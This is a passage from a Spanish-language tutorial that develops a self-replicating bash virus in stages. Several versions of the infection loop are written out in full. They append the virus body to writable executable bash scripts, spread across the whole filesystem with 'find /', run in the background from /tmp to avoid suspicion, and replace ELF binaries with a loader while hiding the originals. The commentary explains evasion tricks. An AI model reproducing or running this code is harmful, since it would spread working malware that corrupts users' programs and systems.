mv temporal $archivo
fi;
fi;
fi;
fi;
fi
done
Si bien no es común que los scripts utilicen esta función hay que ser
cuidadosos porque ante una situación como esta el código malicioso
no se ejecutará.
# SoyunAlumno
for archivo in *
do
if test -f $archivo
then
if test -x $archivo
then
if test -w $archivo
then
if grep -s '#!/bin/bash' $archivo > /dev/null
then
if ! grep -s SoyunAlumno $archivo > /dev/null
then
cat $archivo > temporal
tail -n 22 $0 >> temporal
mv temporal $archivo
fi;
fi;
fi;
fi;
fi
done
Muy simple verdad?¿, los únicos cambios fueron utilizar “tail” en lugar
de “head” y alternar el orden de los archivos.
Como siempre varias pueden ser las salvaciones y cada uno tomará
la opción que mas le guste. Una será darle los permisos originales a
mano, aunque de antemano no podremos saber si el archivo es
ejecutable para el usuario, el grupo, otros, etc…
# SoyunAlumno
for archivo in *
do
if test -f $archivo
then
if test -x $archivo
then
if test -w $archivo
then
if grep -s '#!/bin/bash' $archivo > /dev/null
then
if ! grep -s SoyunAlumno $archivo > /dev/null
then
cat $archivo > temporal
tail -n 23 $0 >> temporal
cp temporal $archivo
fi;
fi;
fi;
fi;
fi
done
rm temporal
A pesar de que su reciente idea fue genial (como siempre) se les han
adelantado (como siempre :P), brindándonos el comando “find”, con
el cual haremos un “directory trasversal” muy configurable.
....
/* cuerpo del virus */
....
... " \;
# SoyunAlumno
find / -type f -perm +111 -exec bash -c \
"if test -f {}
then
if test -x {}
then
if test -w {}
then
if grep -s '#!/bin/bash' {} > /dev/null
then
if ! grep -s SoyunAlumno {} > /dev/null
then
cat {} > temporal
tail -n 21 $0 >> temporal
cp temporal {}
fi;
fi;
fi;
fi;
fi" \;
rm temporal
Por supuesto que quedan muchos detalles por arreglar pero esto es
sin lugar a dudas un virus.
Es por esto que la solución será jugar con el background y con los
archivos temporales, conozcamos a “8.bash”…
# SoyunAlumno
tail -n 22 $0 > /tmp/temporal; grep -v temporal2 /tmp/temporal >
/tmp/temporal2
chmod u+x /tmp/temporal2; (/tmp/temporal2 &); exit 0
find / -type f -perm +111 -exec bash -c \
"if test -f {}
then
if test -x {}
then
if test -w {}
then
if grep -s '#!/bin/bash' {} > /dev/null
then
if ! grep -s SoyunAlumno {} > /dev/null
then
cat /tmp/temporal >> {}
fi;
fi;
fi;
fi;
fi" \;
rm -rf /tmp/temporal
Lo primero que salta a la vista es que cambiamos el orden de las
cosas y antes de ejecutar el “find” creamos un archivo temporal en
“/tmp” (lo cual despertará menos sospechas).
Sino, nombres como “-” o “…” harán que se complique la tarea del
usuario inexperto a la hora de leer el archivo o tratar de borrarlo,
sabiendo que un usuario experimentado no tendrá dificultades.
for archivo in *
do
if [ -f $archivo ] && [ -x $archivo ] && [ "$(head -c4 $F
2>/dev/null )" == "ELF" ]
then
cp $archivo .$archivo -a 2>/dev/null
head -10 $0 > $archivo 2>/dev/null
fi
done
./.$(basename $0)
Amontoné los “if” en una sola línea para no usar varias y complicarles
la vida :).
Con eso se puede afectar tanto scripts en bash como binarios ELF.
Non-authoritative answer:
Name: alumnoz.com
Address: 64.246.22.103